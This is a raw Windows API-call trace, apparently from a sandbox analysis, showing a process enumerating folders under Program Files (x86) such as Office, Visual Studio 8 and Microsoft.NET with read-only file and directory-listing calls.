	[0055.324] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\*", lpFindFileData=0x1251b918 | out: lpFindFileData=0x1251b918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f15bdb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f15bdb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.327] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.327] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51494530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.330] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.331] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x1251b8b4 | out: lpFindFileData=0x1251b8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.331] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.331] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\*", lpFindFileData=0x1251b850 | out: lpFindFileData=0x1251b850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.331] SetEvent (hEvent=0xb4) returned 1
	[0055.331] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0055.332] SetEvent (hEvent=0xb4) returned 1
	[0055.332] SetEvent (hEvent=0x8c) returned 1
	[0055.332] SetEvent (hEvent=0x78) returned 1
	[0055.332] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0055.332] SetEvent (hEvent=0x78) returned 1
	[0055.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office" (normalized: "c:\\program files (x86)\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*", lpFindFileData=0x125219e0 | out: lpFindFileData=0x125219e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xec5a81a0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xec5a81a0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14" (normalized: "c:\\program files (x86)\\microsoft office\\office14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\*", lpFindFileData=0x1252197c | out: lpFindFileData=0x1252197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd68b1180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd68b1180, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.333] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033" (normalized: "c:\\program files (x86)\\microsoft office\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.333] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x12521918 | out: lpFindFileData=0x12521918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xba634e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xba634e00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.344] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8" (normalized: "c:\\program files (x86)\\microsoft visual studio 8"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.344] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x125219e0 | out: lpFindFileData=0x125219e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\*", lpFindFileData=0x1252197c | out: lpFindFileData=0x1252197c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\*", lpFindFileData=0x12521918 | out: lpFindFileData=0x12521918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52694b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\privateassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.345] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x125218b4 | out: lpFindFileData=0x125218b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.346] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\publicassemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.346] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x125218b4 | out: lpFindFileData=0x125218b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.351] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x125218b4 | out: lpFindFileData=0x125218b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.351] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", lpFindFileData=0x12521850 | out: lpFindFileData=0x12521850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.351] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.352] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", lpFindFileData=0x125217ec | out: lpFindFileData=0x125217ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.352] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\*", lpFindFileData=0x12521788 | out: lpFindFileData=0x12521788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\*", lpFindFileData=0x124157ec | out: lpFindFileData=0x124157ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.366] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\*", lpFindFileData=0x12415788 | out: lpFindFileData=0x12415788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x111e5450, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.370] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.370] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\packages\\debugger"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.370] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\Packages\\Debugger\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.371] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.371] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.371] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.371] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x527793d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527793d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\bin\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.372] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\Bin\\1033\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET" (normalized: "c:\\program files (x86)\\microsoft.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.372] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.373] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.373] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.374] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd106f400, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd106f400, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x1b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="adodb.dll", cAlternateFileName="")) returned 1
